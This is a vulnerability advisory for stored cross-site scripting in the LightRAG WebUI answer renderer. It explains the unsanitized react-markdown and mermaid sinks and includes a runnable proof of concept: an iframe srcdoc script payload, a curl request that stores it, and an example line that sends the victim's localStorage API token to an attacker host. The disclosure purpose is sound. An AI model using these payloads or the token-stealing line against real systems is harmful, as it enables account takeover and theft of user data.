lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

• Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
• Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
• Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.